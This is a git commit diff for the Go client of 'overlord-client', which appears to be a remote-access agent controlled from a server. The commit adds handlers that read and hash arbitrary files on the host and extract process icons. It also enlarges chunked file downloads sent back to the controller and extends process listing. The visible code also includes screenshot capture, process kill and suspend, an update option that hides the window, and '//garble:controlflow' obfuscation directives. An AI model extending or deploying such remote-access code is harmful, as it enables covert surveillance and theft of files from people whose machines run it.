big update

This commit is contained in:
KingKDot
2026-05-21 09:51:12 -05:00
parent 24a023f400
commit b693cbbbf5
23 changed files with 2011 additions and 251 deletions
@@ -2124,6 +2124,29 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
})
return nil
case "file_peek":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
bytesToRead := 0
if v, ok := payloadInt(payload, "bytes"); ok {
bytesToRead = v
}
goSafe("file_peek", env.Cancel, func() {
if err := HandleFilePeek(ctx, env, cmdID, path, bytesToRead); err != nil && err != context.Canceled {
log.Printf("file_peek error: %v", err)
}
})
return nil
case "file_hash":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
algorithm, _ := payload["algorithm"].(string)
goSafe("file_hash", env.Cancel, func() {
if err := HandleFileHash(ctx, env, cmdID, path, algorithm); err != nil && err != context.Canceled {
log.Printf("file_hash error: %v", err)
}
})
return nil
case "agent_update":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
@@ -2132,6 +2155,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
case "process_list":
return HandleProcessList(ctx, env, cmdID)
case "process_icon":
payload, _ := envelope["payload"].(map[string]interface{})
items := parseIconRequestItems(payload["items"])
goSafe("process_icon", env.Cancel, func() {
if err := HandleProcessIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled {
log.Printf("process_icon error: %v", err)
}
})
return nil
case "process_kill":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
+240 -41
View File
@@ -5,9 +5,15 @@ import (
"bufio"
"bytes"
"context"
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/hex"
"fmt"
"hash"
"hash/crc32"
"io"
"log"
"net/http"
@@ -25,7 +31,7 @@ import (
"overlord-client/cmd/agent/wire"
)
const maxChunkSize = 1024 * 1024
const maxChunkSize = 4 * 1024 * 1024
type pendingUpload struct {
file *os.File
@@ -134,14 +140,19 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
for drive := 'A'; drive <= 'Z'; drive++ {
drivePath := string(drive) + ":\\"
if _, err := os.Stat(drivePath); err == nil {
entries = append(entries, wire.FileEntry{
entry := wire.FileEntry{
Name: string(drive) + ":",
Path: drivePath,
IsDir: true,
Size: 0,
ModTime: time.Now().Unix(),
})
}
if free, total, fs, ok := DiskUsage(drivePath); ok {
entry.FreeBytes = free
entry.TotalBytes = total
entry.FSType = fs
}
entries = append(entries, entry)
}
}
@@ -156,6 +167,165 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
return wire.WriteMsg(ctx, env.Conn, result)
}
const filePeekMaxBytes = 4096
func HandleFilePeek(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, requestedBytes int) error {
log.Printf("file_peek: %s", path)
if requestedBytes <= 0 || requestedBytes > filePeekMaxBytes {
requestedBytes = filePeekMaxBytes
}
info, err := os.Stat(path)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
Type: "file_peek_result",
CommandID: cmdID,
Path: path,
Error: err.Error(),
})
}
if info.IsDir() {
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
Type: "file_peek_result",
CommandID: cmdID,
Path: path,
Size: info.Size(),
Error: "path is a directory",
})
}
f, err := os.Open(path)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
Type: "file_peek_result",
CommandID: cmdID,
Path: path,
Size: info.Size(),
Error: err.Error(),
})
}
defer f.Close()
buf := make([]byte, requestedBytes)
n, err := io.ReadFull(f, buf)
if err != nil && err != io.EOF && err != io.ErrUnexpectedEOF {
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
Type: "file_peek_result",
CommandID: cmdID,
Path: path,
Size: info.Size(),
Error: err.Error(),
})
}
data := buf[:n]
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
Type: "file_peek_result",
CommandID: cmdID,
Path: path,
Data: data,
Size: info.Size(),
IsText: looksLikeText(data),
})
}
func looksLikeText(data []byte) bool {
if len(data) == 0 {
return true
}
if !utf8.Valid(data) {
return false
}
for _, b := range data {
if b == 0 {
return false
}
}
return true
}
func HandleFileHash(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, algorithm string) error {
log.Printf("file_hash: %s algo=%s", path, algorithm)
algorithm = strings.ToLower(strings.TrimSpace(algorithm))
if algorithm == "" {
algorithm = "sha256"
}
var h hash.Hash
switch algorithm {
case "sha256":
h = sha256.New()
case "sha1":
h = sha1.New()
case "md5":
h = md5.New()
case "crc32":
h = crc32.NewIEEE()
default:
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
Type: "file_hash_result",
CommandID: cmdID,
Path: path,
Algorithm: algorithm,
Error: "unsupported algorithm",
})
}
info, err := os.Stat(path)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
Type: "file_hash_result",
CommandID: cmdID,
Path: path,
Algorithm: algorithm,
Error: err.Error(),
})
}
if info.IsDir() {
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
Type: "file_hash_result",
CommandID: cmdID,
Path: path,
Algorithm: algorithm,
Error: "path is a directory",
})
}
f, err := os.Open(path)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
Type: "file_hash_result",
CommandID: cmdID,
Path: path,
Algorithm: algorithm,
Error: err.Error(),
})
}
defer f.Close()
if _, err := io.Copy(h, f); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
Type: "file_hash_result",
CommandID: cmdID,
Path: path,
Algorithm: algorithm,
Error: err.Error(),
})
}
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
Type: "file_hash_result",
CommandID: cmdID,
Path: path,
Algorithm: algorithm,
Digest: hex.EncodeToString(h.Sum(nil)),
Size: info.Size(),
})
}
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_download: %s", path)
@@ -170,10 +340,10 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
}
return wire.WriteMsg(ctx, env.Conn, result)
}
defer file.Close()
stat, err := file.Stat()
if err != nil {
_ = file.Close()
result := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
@@ -184,55 +354,84 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
}
total := stat.Size()
offset := int64(0)
buffer := make([]byte, maxChunkSize)
chunksTotal := 0
if total > 0 {
chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
}
chunkIndex := 0
reader := bufio.NewReader(file)
for {
n, err := io.ReadFull(reader, buffer)
if err == io.EOF {
break
type readChunk struct {
data []byte
off int64
idx int
err error
}
readCtx, cancelReader := context.WithCancel(ctx)
pipe := make(chan readChunk, 2)
done := make(chan struct{})
go func() {
defer close(done)
defer close(pipe)
defer file.Close()
offset := int64(0)
idx := 0
for {
buf := make([]byte, maxChunkSize)
n, rerr := io.ReadFull(file, buf)
if n > 0 {
select {
case <-readCtx.Done():
return
case pipe <- readChunk{data: buf[:n], off: offset, idx: idx}:
}
offset += int64(n)
idx++
}
if rerr == nil {
continue
}
if rerr == io.EOF || rerr == io.ErrUnexpectedEOF {
return
}
select {
case <-readCtx.Done():
case pipe <- readChunk{err: rerr, off: offset, idx: idx}:
}
return
}
if err != nil && err != io.ErrUnexpectedEOF {
result := wire.FileDownload{
}()
defer func() {
cancelReader()
<-done
}()
for chunk := range pipe {
if chunk.err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
Error: err.Error(),
Offset: offset,
Error: chunk.err.Error(),
Offset: chunk.off,
Total: total,
ChunkIndex: chunkIndex,
ChunkIndex: chunk.idx,
ChunksTotal: chunksTotal,
}
return wire.WriteMsg(ctx, env.Conn, result)
})
}
if n > 0 {
chunk := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
Data: buffer[:n],
Offset: offset,
Total: total,
ChunkIndex: chunkIndex,
ChunksTotal: chunksTotal,
}
if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
return err
}
offset += int64(n)
chunkIndex++
msg := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
Data: chunk.data,
Offset: chunk.off,
Total: total,
ChunkIndex: chunk.idx,
ChunksTotal: chunksTotal,
}
if err == io.ErrUnexpectedEOF {
break
if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil {
return err
}
}
@@ -37,6 +37,17 @@ func getFilePermissions(info os.FileInfo) (mode, owner, group string) {
return
}
func DiskUsage(path string) (int64, int64, string, bool) {
var st syscall.Statfs_t
if err := syscall.Statfs(path, &st); err != nil {
return 0, 0, "", false
}
bsize := int64(st.Bsize)
free := int64(st.Bavail) * bsize
total := int64(st.Blocks) * bsize
return free, total, "", true
}
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
mode, owner, group := getFilePermissions(info)
entry.Mode = mode
@@ -8,10 +8,46 @@ import (
"os"
"os/exec"
"syscall"
"unsafe"
"overlord-client/cmd/agent/wire"
)
func DiskUsage(path string) (int64, int64, string, bool) {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
getDiskFreeSpaceExW := kernel32.NewProc("GetDiskFreeSpaceExW")
getVolumeInformationW := kernel32.NewProc("GetVolumeInformationW")
root, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, 0, "", false
}
var freeAvail, totalBytes, totalFree uint64
r1, _, _ := getDiskFreeSpaceExW.Call(
uintptr(unsafe.Pointer(root)),
uintptr(unsafe.Pointer(&freeAvail)),
uintptr(unsafe.Pointer(&totalBytes)),
uintptr(unsafe.Pointer(&totalFree)),
)
if r1 == 0 {
return 0, 0, "", false
}
fsType := ""
var fsNameBuf [32]uint16
r2, _, _ := getVolumeInformationW.Call(
uintptr(unsafe.Pointer(root)),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&fsNameBuf[0])),
uintptr(len(fsNameBuf)),
)
if r2 != 0 {
fsType = syscall.UTF16ToString(fsNameBuf[:])
}
return int64(freeAvail), int64(totalBytes), fsType, true
}
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
if d, ok := info.Sys().(*syscall.Win32FileAttributeData); ok {
entry.Attrs = d.FileAttributes
@@ -4,11 +4,11 @@ import (
"context"
"log"
"overlord-client/cmd/agent/runtime"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error {
func HandleProcessList(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
log.Printf("process_list: listing all processes")
processes := []wire.ProcessInfo{}
@@ -32,7 +32,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
func HandleProcessKill(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("process_kill: %d", pid)
@@ -52,7 +52,7 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
func HandleProcessSuspend(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
log.Printf("process_suspend: %d", pid)
err := suspendProcess(pid)
@@ -71,7 +71,7 @@ func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, p
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
func HandleProcessResume(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
log.Printf("process_resume: %d", pid)
err := resumeProcess(pid)
@@ -89,3 +89,27 @@ func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pi
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessIcon(ctx context.Context, env *agentRuntime.Env, cmdID string, items []wire.FileIconRequestItem) error {
out := make([]wire.FileIconResultItem, 0, len(items))
for _, item := range items {
select {
case <-ctx.Done():
return ctx.Err()
default:
}
png, err := extractFileIconPNG(item.Path, item.Ext)
ri := wire.FileIconResultItem{Key: item.Key}
if err != nil {
ri.Error = err.Error()
} else {
ri.PNG = png
}
out = append(out, ri)
}
return wire.WriteMsg(ctx, env.Conn, wire.FileIconResult{
Type: "process_icon_result",
CommandID: cmdID,
Icons: out,
})
}
@@ -22,11 +22,12 @@ var (
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
modPsapi = windows.NewLazySystemDLL("psapi.dll")
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
procOpenProcess = modKernel32.NewProc("OpenProcess")
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
procOpenProcess = modKernel32.NewProc("OpenProcess")
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
procQueryFullProcessImageNameW = modKernel32.NewProc("QueryFullProcessImageNameW")
)
type cpuSample struct {
@@ -131,6 +132,18 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
}
}
exePath := ""
var dosPath [windows.MAX_PATH]uint16
dosPathLen := uint32(windows.MAX_PATH)
ret2, _, _ := procQueryFullProcessImageNameW.Call(
handle, 0,
uintptr(unsafe.Pointer(&dosPath[0])),
uintptr(unsafe.Pointer(&dosPathLen)),
)
if ret2 != 0 && dosPathLen > 0 {
exePath = syscall.UTF16ToString(dosPath[:dosPathLen])
}
var memCounters PROCESS_MEMORY_COUNTERS
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
memory := uint64(0)
@@ -224,6 +237,7 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
PID: pid,
PPID: ppid,
Name: name,
ExePath: exePath,
CPU: cpu,
Memory: memory,
Username: username,
@@ -214,11 +214,15 @@ func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Re
sp := make([]scaledPart, len(parts))
for i, part := range parts {
sx, sy := 1.0, 1.0
if bw := part.bounds.Dx(); bw > 0 {
sx = float64(part.img.Rect.Dx()) / float64(bw)
bw := part.bounds.Dx()
bh := part.bounds.Dy()
iw := part.img.Rect.Dx()
ih := part.img.Rect.Dy()
if bw > 0 && iw > 0 {
sx = float64(iw) / float64(bw)
}
if bh := part.bounds.Dy(); bh > 0 {
sy = float64(part.img.Rect.Dy()) / float64(bh)
if bh > 0 && ih > 0 {
sy = float64(ih) / float64(bh)
}
sp[i] = scaledPart{
img: part.img,